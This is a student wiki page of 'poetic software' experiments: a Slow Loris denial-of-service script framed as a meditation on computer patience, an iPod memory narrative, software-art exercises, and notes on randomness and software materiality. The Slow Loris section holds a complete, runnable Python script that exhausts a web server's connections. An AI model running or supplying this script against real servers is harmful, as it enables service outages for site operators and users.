User:Alexander Roidl/poeticsoftwaresummary

From XPUB & Lens-Based wiki

Prototypes and experiments with poetic software

Slow Loris

As a reflection on the matter of speed in computation. Do computers have patience?

Slow Loris is a Denial of Service Attack. It make many very slow connections to the server and therefore fully loads the server till the limit of possible connections. This method is exploiting the way Apache server work and how they handle connections.


import socket
import random
import time
import sys

log_level = 2

def log(text, level=1):
    if log_level >= level:
        print(text)

list_of_sockets = []

regular_headers = [
    "User-agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
    "Accept-language: en-US,en,q=0.5"
]

ip = sys.argv[1]
socket_count = 100
log("Attacking {} with {} sockets.".format(ip, socket_count))

log("Creating sockets...")
for _ in range(socket_count):
    try:
        log("Creating socket nr {}".format(_), level=2)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(4)
        s.connect((ip, 80))
    except socket.error:
        break
    list_of_sockets.append(s)

log("Setting up the sockets...")
for s in list_of_sockets:
    s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))
    for header in regular_headers:
        s.send(bytes("{}\r\n".format(header).encode("utf-8")))

while True:
    log("Sending keep-alive headers...")
    for s in list_of_sockets:
        try:
            s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
        except socket.error:
            list_of_sockets.remove(s)
            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.settimeout(4)
                s.connect((ip, 80))
                for s in list_of_sockets:
                    s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))
                    for header in regular_headers:
                        s.send(bytes("{}\r\n".format(header).encode("utf-8")))
            except socket.error:
                continue

time.sleep(15)

Memory

The iPod is an old obsolete device. And sometimes it is bored, so it explores its own memory.

The iPod explores its own memory. It is a C program that is written specifically for the iPod (using rockbox patch). It reveals the inner processes of the iPod by telling a narrative about its potential thoughts.


20190323 140225.jpg

7845376537658654765.gif

Active Essay

The active essay embodies my thesis in a interactive form. The text "There is no Software" by Kittler is transformed into an active and engaging form. Screenshot from 2019-03-27 12-04-08.png

Exercises in poetic software

6 exercises in software art

1. Write a program that quits itself

2. Write a program that displays its own code. ( quine )

3. Write a program to display a square on the screen

- - - - - - - - - - | | | | | | - - - - - - - - - -

echo ◼

4. Make your device tell a story, with typography / with sound

5. Use Software to display a window.

6. Observe Software: Do a simple action and document in as great detail as possible.

Publishing poetic software

How do I publish the experiments that I did together with the insights I gained about software. I made a custom writing program that enables me to interlink and make visible the different layers and and influences of software.

A publishing software that intervenes into the process of reading and writing

Screenshot from 2019-03-26 19-06-52.png


Notes on poetic software

26.01.2018

The first day of software poetics

take a random function:
how to write the random function

Discussion on how to generate random numbers:

    * Knuth, The Art of Computer Programming

    * Different methods hardware and software

    * /dev/random collect noise from different sources of the computer (e.g. drivers) 
https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/drivers/char/random.c?id=refs/tags/v3.15.6#n52


    1. Python random()

    2. C random

    3. bash random

    4. enact / throw dice

    5. noise


Could you predict a pseudo random-number generator?

https://ai.stackexchange.com/questions/3850/using-machine-deep-learning-for-guessing-pseudo-random-generator

----> reverse_random.py
OUTPUT:
Expected:  [97, 49, 68, 71, 88, 33, 20, 77, 46, 76, 98, 39, 52, 76, 59, 36, 86, 62, 23, 76]
Predicted:  [97, 49, 68, 71, 88, 33, 20, 77, 46, 76, 98, 39, 52, 76, 59, 36, 86, 62, 23, 76]

This means that the assumption that random equals random is wrong. The computer calculates random numbers in a predictable manner. 



–––––––––––––––––––––––––––––


The materiality of software


Since the CD became outdated and most importantly the internet became faster in most areas, 
the physical methaphor for software increasingly disappeared. Once Computer Games, Office Applications
 and even Operation Systems were distributed on transportable physical devices, such as the CD-ROM. 
Software as a dynamic artefact / object, that is built and takes shape over time. That can be archived, 
that is beeing packaged, sold… (https://medium.com/@mkirschenbaum/software-its-a-thing-a550448d0ed3)



https://www.theatlantic.com/past/docs/unbound/digicult/dg4.htm


How do you preserve software:
http://www.digitalpreservation.gov/meetings/preservingsoftware2013.html


Abandonware
Funware
Malware
Also artistic software, critical software, experimental software, speculative software, software-based art.



--------------------------------------------------


27.01.2018

Video on The Software Arts
https://www.youtube.com/watch?v=0cbMfZRwu5E

* Software Studies, Matthew Fuller
* http://computationalculture.net/ (online journal by Fuller)
* Coding Literacy, Annette Vee
* The Stack, Benjamin H. Bratton
* The stuff of bits
* Machine Learners
* How to be a geek, Matthew Fuller
* Software Theory, Frederica Frabetti

* Computation and Human Experience

One might think, that computer historians have thought about Software, but this hasn’t really been the case. 

»The strong claim for aesthetic computing is that by introducing ideas and methods
from art and design into computing, new practices and approaches will emerge responding
to new objectives that would not naturally have evolved within the computer sciences
and engineering.« (Aestetic Computing)


Donald Knuth on the five features of algorithms
1. Finiteness
2. Definiteness
3. Input
4. Output
5. Effectiveness

Software Art and Software Studies have revealed an urgent need for a deeper analysis of software. 



--------------------------

8 ways to say hello with software

alert("hello");
console.log("hello");
print("hello");

print("h");print("e");print("l");print("l");print("o");

echo hello

#include <stdio.h>int main(){
   printf("hello");
   return 0;}

01101000 01100101 01101100 01101100 01101111

figlet hello


----------------------------

The emotions of Software

animals in software / methaphors, like cookbooks etc.
runntimes
errors

Software that is running behind the screen, behind the visible

What kind of Software is interesting? Software that is invisible?
random software

random numbers to statistics to neural networks 
what parts of software can be examines
stories of digital objects

could be 
invisible stories of software



-------------------------------

Software processes

reading on a screen

computing noise > random device in unix systems


a program, that


20 excercises in software


reading, writing & clock in computation

reading & writing > memory (remember and forget)

------------------------------------

10 Excercises in Poetic Software

11. Make a software destroy itself. 

3. Do it again, and again: Write a program in 5 different ways. Make your code ugly, make it readable, 
make it beautiful, make it as short as possible.

8. Write a program to display a square

#!/bin/bash
# Display a square
for value2 in {1..5}
do
    for value in {1..10}
    do
       if [ $value2 -lt 2 ] || [ $value2 -gt 4 ] || [ $value -lt 2 ] || [ $value -gt 9 ]
       then
            if [ $value2 -gt 1 ] && [ $value2 -lt 5 ]
            then
                printf "|"
            else
                printf "-"
            fi
       else
            printf " "
       fi
    done
    printf "\n"
done

- - - - - - - - - -
|                   |
|                   |
|                   |
- - - - - - - - - -

echo ◼

◼

9. Make your device tell a story, with typography / with sound

10. Use Software to display a window.

7. Observe Software: Do a simple action and document in greatest detail as possible. 

1. Think like Software.

2. Do it from scratch.

5. Archive Software: Try to make a software as durable as possible

6. Reduce Software: Use no Software at all


---------------------------------------


Do computers have patience?

Slow Loris Attack
Communication via http protocol
Very slow to archieve DoS

Embrace the slowness of the attack
Slow computation = good computation?
patience in computations



----------------------------------------------

Obsolete Computation
iPod
Has no direct channel to communicate with other devices. 
Only click wheel as input

The Story of the iPod
iPod talks about memories and being obsolete as a device
through its possibities, scrolling forward

it can only scroll forward, not backwards

the memories of the iPod are stored in the memory (using pointers and memory adresses)
is there a way to change the memories through the manipulation of the harddrive?
-> memories become transfigured

possibity to talk about memory in computers and obsolete systems
how computers become obsolete
how memory in devices works together with software
how instable memory is


Sometimes I start myself, but my energy is low. I am barely used anymore. I lost connection. 
I am old, outdated and obsolete. What remains is my memory.
When I am too sad about that I shut myself down and restart myself, to come back to the beginning 
of the good memories. I makes me feel good to know I can reboot anytime. Even though I know some 
of my memory gets lost. Sometimes I visit the corupted parts of my disk, the noise makes me feel 
alive. I follow the protocol striklty. I am reading this text to you. Here is some music I found on 
my harddrive, this is my favourite one. (music plays)
I reboot myself. I repeat myself. 

--------------------------------------------


reading writing and performing software

How do we read on a screen?
Active Essay
file:///home/a/xpub/activeEssay/index.html

How do we write?
(software to publish my experiments)

How does software read & write?
iPod experiment https://pad.xpub.nl/p/softwarepoetics10

How do we write software?
10 Exercises in writing software.
https://pad.xpub.nl/p/softwarepoetics8

Slow Lorris Attack
https://pad.xpub.nl/p/softwarepoetics9